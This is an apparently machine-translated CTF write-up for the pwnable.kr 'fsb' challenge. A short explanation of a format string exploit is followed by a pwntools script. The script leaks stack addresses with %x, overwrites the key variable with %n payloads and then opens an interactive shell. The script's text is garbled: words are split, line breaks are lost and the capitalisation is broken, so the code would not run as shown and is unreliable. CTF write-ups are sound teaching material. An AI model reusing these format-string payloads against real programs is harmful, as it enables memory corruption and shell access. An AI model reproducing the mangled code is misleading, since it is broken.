"PWN" fsb@pwnable.kr exploit

Using a typical format string vulnerability to implement memory leaks and memory overwrite to modify the key implementation directly through, of course, can also overwrite the contents of the Got table to change the program execution flow, the two shortcomings is that the huge string of overwrite when it does take a long time to output the implementation of coverage, Look at the foreign writeup in the memory of the search for key address, at least in time not so long, but also a different way of thinking.

This problem really learned a lot, such as the use of $n, esp EBP advanced utilization, the FSB has a deeper understanding, by the way to worship the PPP team in CMU, for the future to provide a lot of experience it ~ All in the script ~ refueling!

#Exploit for [email protected]

# @Windcarp 2015.07.24from PWN Import * #initcontext (arch = ' i386 ', os = ' Linux ') local=trueif local:    p = proces S ("./FSB") else:    p = remote ("pwnable.kr", 9011) raw_input () #payload  payload1 = ' Nothing ' #rewrite the Content of EXTR_EBP to the address of keypayload2 = '%134520928c%18$n ' payload3 = '%14$x.%18$x ' #leak the address of EBP to Caculate offsetpayload4 = '%%%d$n ' #overwrite the content of key to Zero#do attackprint ' [*] Info: ' + p.recvuntil (' \ n ') p.s End (Payload1 + ' \ n ') p.recvuntil (' \ n ') print ' [*] Info: ' + p.recvuntil (' \ n ') p.send (payload2 + ' \ n ') p.recvuntil (' \ n ') P.recvuntil (' \ n ') print ' [*] Info: ' + p.recvuntil (' \ n ') p.send (payload3 + ' \ n ') leak = P.recvuntil (' \ n ') print ' [*] leak: ' + Repr (leak) p.recvuntil (' \ n ') p.recvuntil (' \ n ') print ' [*] Info: ' + p.recvuntil (' \ n ') tmp1,tmp2 = Leak.split ('. ') esp_addr = Int (tmp1,16)-0x50extr_ebp_addr = Int (tmp2,16) offset = (extr_ebp_addr-esp_addr)/4#we can calculate key now But we choose to overwritep.send (payload4% offSet + ' \ n ') print ' [*] 1 ' + p.recvuntil (' \ n ') print ' [*] 2 ' + p.recvuntil (' \ n ') print ' [*] 3 ' + p.recvuntil (' \ n ') #wait a s Ecprint ' [*] KeyInfo: ' + p.recvuntil (' \ n ') #key:p. Send (' 0 ' + ' \ n ') print ' [*] Info: ' + p.recvuntil (' \ n ') #congraz #yeah we G ot the shell!p.interactive ()

"PWN" [email protected] Exploit